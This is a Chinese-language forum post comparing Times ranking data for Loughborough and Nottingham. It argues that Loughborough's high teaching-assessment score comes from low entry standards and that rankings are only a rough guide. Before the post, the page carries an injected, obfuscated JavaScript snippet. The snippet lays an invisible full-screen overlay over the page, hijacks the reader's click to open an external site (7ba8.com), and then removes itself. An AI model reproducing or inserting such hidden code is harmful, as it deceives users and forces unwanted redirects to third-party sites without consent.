<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>对于Times里，Loughborough的排名为什么这么高，我是这么解释的：
先看看学校数据：
10 Loughborough 22.8 5.1 21.7 18.3 653 301 65.7 78.9 91.0 845
14 Nottingham 22.0 5.3 26.3 14.8 692 274 75.7 79.3 93.0 829
到底第10的 Loughborough比起14的Nottingham有什么优势呢？Teaching assessment 占优势，Computer spending占优（联合Library spending后跟Nottingham持平），然后……就没了。
Nottingham研究力量稍强，入学条件高，学生跟老师比例低，Library和computer spending合共持平，而在学生成绩、就业率上，还是Nottingham占优势。而Loughborough跟其他几个大学（Bath、KCL etc）比，基本还是这样一个情况。
那么就是说， Loughborough的师资力量强而排到了这个位置上。但说到这，疑惑出来了：到底这个师资是个绝对值呢，还是个对比值。
Loughborough的Teaching assessment是22.8，在Top 10中（乃至整个排名）排第三，实在强！但最高的是York，23.1,其次是Cam的22.9。在这提出个疑问，Loughborough的师资真有那么强？师资比Ox要强，然后仅次与Cam？IC，LSE的老师全都不是Loughborough的对手？可能吗？
对此，不妨看看65 Kingston，61 Lampeter ，28 Dundee，27 Essex等几个学校，他们的Teaching assessment跟Oxford一样，甚至更高。如果说，Teaching assessment是个绝对值的话，那么Oxford的老师都可以去集体跳楼了。那么，如果Teaching assessment不是一个绝对值，那么应该就是个对比值了。是什么跟什么的对比呢？自然是老师素质跟学生素质的对比值了！Loughborough之所以能有那么高的一个Teaching assessment，是因为其21.7的Entry standards所造成的。
结果很明显了，导致Loughborough高排名的原因是个高的Teaching assessment，而导致高Teaching assessment的，则是低的Entry standards。所以如果有人说，Loughborough是个比Bath、Bristol更好的学校，我实在是不能赞同。事实上，从Entry standards上面其实已经反映了绝大部分英国学生对Loughborough的看法了：有不少拿AAA的去Bath，Bristol，但Loughborough……
总结来说，Loughborough是个好学校，但这个好，是相对于那个水平的学生水平来讲的。所以说排名只能是个参考，不是排名越高学校就越好。而看待排名，不是单单看排名谁高谁低，而是要从当中的数据上分析那个学校到底是否适合自己。 |
|
收藏